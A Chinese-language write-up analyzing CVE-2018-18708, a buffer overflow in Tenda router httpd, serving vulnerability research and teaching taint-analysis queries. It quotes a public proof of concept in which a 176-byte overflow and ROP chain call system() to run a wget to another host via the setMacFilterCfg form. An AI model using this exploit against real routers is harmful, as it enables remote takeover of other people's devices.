0x00 漏洞介绍

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。

附件:

httpd 991088

0x01 固件逻辑分析

首先httpd会进行端口和 ip绑定,然后会调用initWeb函数对路由进行绑定。

if ( initWeb_2E9EC(v9) >= 0 )
{
  ....
  ....
  ....
}
else
{
  puts("main -> initWebs failed");
  return -1;
}

initWeb中首先进行了handler的绑定,这里绑定了/goform/cgi-bin等路由,后面的websFormHandler即对应的处理函数

if ( sub_29510(port, retries) >= 0 )
  {
    sub_179A8(&unk_DC618, 0, 0, R7WebsSecurityHandler, 1);
    sub_179A8("/goform", 0, 0, websFormHandler, 0);
    sub_179A8("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
    sub_179A8(&unk_DC618, 0, 0, websDefaultHandler, 2);
    init_register();
    sub_179A8("/", 0, 0, sub_2ECD0, 0);
    return 0;
  }
  else
  {
    printf("%s %d: websOpenServer failed\n", "initWebs", 499);
    return -1;
  }

在后续的init_register 对进入handler后分发进行处理的函数进行了注册

int sub_42378()
{
  int v0; // r0

  sub_10120("TendaGetLongString", aspTendaGetLongString);
  sub_10120("aspTendaGetStatus", aspTendaGetStatus);
  regist_handlers_form("updateUrlLog", updateUrlLog);
  regist_handlers_form("SysStatusHandle", fromSysStatusHandle);
  regist_handlers_form("GetWanStatus", formGetWanStatus);
  regist_handlers_form("GetSysInfo", formGetSysInfo);
  regist_handlers_form("GetWanStatistic", formGetWanStatistic);
  regist_handlers_form("GetAllWanInfo", formGetAllWanInfo);
  regist_handlers_form("GetWanNum", formGetWanNum);
  sub_10120("aspGetWanNum", aspGetWanNum);
  regist_handlers_form("getPortStatus", formGetPortStatus);
  regist_handlers_form("GetSystemStatus", formGetSystemStatus);
  regist_handlers_form("GetRouterStatus", formGetRouterStatus);
  regist_handlers_form("setNotUpgrade", formsetNotUpgrade);
  sub_10120("aspGetCharset", aspGetCharset);
  regist_handlers_form("WizardHandle", fromWizardHandle);
  regist_handlers_form("fast_setting_get", form_fast_setting_get);
  regist_handlers_form("fast_setting_pppoe_get", form_fast_setting_pppoe_get);
  regist_handlers_form("fast_setting_wifi_set", form_fast_setting_wifi_set);
  regist_handlers_form("fast_setting_pppoe_set", form_fast_setting_pppoe_set);
  regist_handlers_form("getWanConnectStatus", formGetWanConnectStatus);
  regist_handlers_form("getProduct", GetProduct);
  regist_handlers_form("fast_setting_internet_set", form_fast_setting_internet_set);
  regist_handlers_form("usb_get", form_usb_get);
  v0 = regist_handlers_form("SysToolpassword", SysToolpassword);

POST goform/setMacFilterCfg 会进下面注册的formSetMacFilterCfg函数中进行处理

 regist_handlers_form("setMacFilterCfg", formSetMacFilterCfg);

0x02 漏洞分析

根据公开的漏洞信息,漏洞触发是在sub_C24C0函数中的strcpy处,看的出来是将a1直接没有判断长度拷贝到了a2+32中。我们继续向上跟踪:

  1. 确定该漏洞的数据输入点来源于哪里。

  2. 确认a1的长度是要大于a2+32的。

我们向上进行交叉引用跟踪,可以看到这里v12也就是上个函数的a2的大小是固定的,大小为176。

再向上跟踪,我们发现一开始的strcpy的第二个参数的字符串来自于下面这个函数的返回值

结合公开poc,我们从poc中寻找一下是不是包含了这个字段

import requests
from pwn import *
 
cmd="wget 192.168.11.35"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
 
payload = 'a'*176
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
 
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": "\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

发现deviceList是post请求中的data里面json数据的一个字段,那么顺理成章sub_2BABC的作用其实就是从json中读取数据,将结果保存在返回值中。

0x03 漏洞扫描

我们这里查询思路是找到source点FUN_0002ba8c 函数的返回追和sink点strcpy 第一个参数两个变量之间所有的路径,因为strcpy第2个参数如果来自于FUN_0002ba8c的返回值的话很可能会造成栈溢出

3.1 破壳平台

3.11 查询入门

首先浅浅进行一个cypher语言入门 《图数据库查询语言Cypher》

简单来说查询的模式如下

MATCH (n:节点类型{属性:"某种属性"})-[关系]-(m) RETURN *

用我们要查询的source点做一个例子,该语句就是来查询函数名为FUN_0002ba8c的函数节点

MATCH (n:function{name:"FUN_0002ba8c"}) RETURN n

3.22 查询过程

通过用户文档可知,我们可以通过平台提供的call VQL.taintPropagation 来进行漏洞查询

首先找到source点的id,我们寻找的条件如下:

  1. 属性为identifier,也就是变量的节点
  2. 调用该变量的函数为FUN_0002ba8c(callee = “FUN_0002ba8c” )
  3. 该变量是调用函数的返回值(index = -1)
MATCH (n:identifier) WHERE (n.callee = "FUN_0002ba8c" AND n.index=-1 ) WITH collect(id(n)) AS sourceSet 
RETURN sourceSet

同理我们可以找到sink点,这里我们关注的是strcpy的第2个参数,所以index = 1,这里index的下标是从0开始的

MATCH (n:identifier) WHERE (n.callee = "strcpy" AND n.index=1 ) WITH collect(id(n)) AS sinkSet
RETURN sinkSet

最后我们把这三个命令用WITH`连接一下

MATCH (n:identifier) WHERE (n.callee = "FUN_0002ba8c" AND n.index=-1 ) WITH collect(id(n)) AS sourceSet
MATCH (n:identifier) WHERE (n.callee = "strcpy" AND n.index=1 ) WITH sourceSet,collect(id(n)) AS sinkSet
CALL VQL.taintPropagation(sourceSet,sinkSet, [], [])
YIELD taintPropagationPath RETURN taintPropagationPath

以上就大功告成了

3.23结果验证

通过执行上面的查询语句,可以从平台的语句分析处查看结果,查询到了漏洞函数的执行流。数据流从7处流向1处。